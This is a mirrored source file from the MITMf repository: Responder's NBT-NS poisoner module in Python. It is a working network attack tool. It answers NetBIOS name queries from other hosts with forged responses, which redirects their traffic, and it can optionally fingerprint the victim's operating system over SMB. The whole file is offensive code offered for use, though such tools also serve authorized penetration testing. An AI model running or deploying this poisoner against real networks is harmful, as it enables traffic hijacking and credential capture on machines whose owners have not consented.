mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-30 19:50:16 -07:00
fd9b79c617
directory structure has been simplified by grouping all the poisoners and servers in one folder impacket smb server has been replaced with responder's flask http server has beem replaced with responder's modified config file to support new changes
79 lines
2.4 KiB
Python
79 lines
2.4 KiB
Python
#!/usr/bin/env python
|
|
# This file is part of Responder
|
|
# Original work by Laurent Gaffie - Trustwave Holdings
|
|
#
|
|
# This program is free software: you can redistribute it and/or modify
|
|
# it under the terms of the GNU General Public License as published by
|
|
# the Free Software Foundation, either version 3 of the License, or
|
|
# (at your option) any later version.
|
|
#
|
|
# This program is distributed in the hope that it will be useful,
|
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
# GNU General Public License for more details.
|
|
#
|
|
# You should have received a copy of the GNU General Public License
|
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
import socket
|
|
import settings
|
|
import fingerprint
|
|
|
|
from packets import NBT_Ans
|
|
from SocketServer import BaseRequestHandler
|
|
from utils import *
|
|
|
|
# Define what are we answering to.
|
|
def Validate_NBT_NS(data):
|
|
if settings.Config.AnalyzeMode:
|
|
return False
|
|
|
|
if NBT_NS_Role(data[43:46]) == "File Server":
|
|
return True
|
|
|
|
if settings.Config.NBTNSDomain == True:
|
|
if NBT_NS_Role(data[43:46]) == "Domain Controller":
|
|
return True
|
|
|
|
if settings.Config.Wredirect == True:
|
|
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector":
|
|
return True
|
|
|
|
else:
|
|
return False
|
|
|
|
# NBT_NS Server class.
|
|
class NBTNS(BaseRequestHandler):
|
|
|
|
def handle(self):
|
|
|
|
data, socket = self.request
|
|
Name = Decode_Name(data[13:45])
|
|
|
|
# Break out if we don't want to respond to this host
|
|
if RespondToThisHost(self.client_address[0], Name) is not True:
|
|
return None
|
|
|
|
if data[2:4] == "\x01\x10":
|
|
|
|
if settings.Config.Finger_On_Off:
|
|
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
|
|
else:
|
|
Finger = None
|
|
|
|
# Analyze Mode
|
|
if settings.Config.AnalyzeMode:
|
|
LineHeader = "[Analyze mode: NBT-NS]"
|
|
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
|
|
|
# Poisoning Mode
|
|
else:
|
|
Buffer = NBT_Ans()
|
|
Buffer.calculate(data)
|
|
socket.sendto(str(Buffer), self.client_address)
|
|
LineHeader = "[*] [NBT-NS]"
|
|
|
|
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
|
|
|
|
if Finger is not None:
|
|
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
|
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|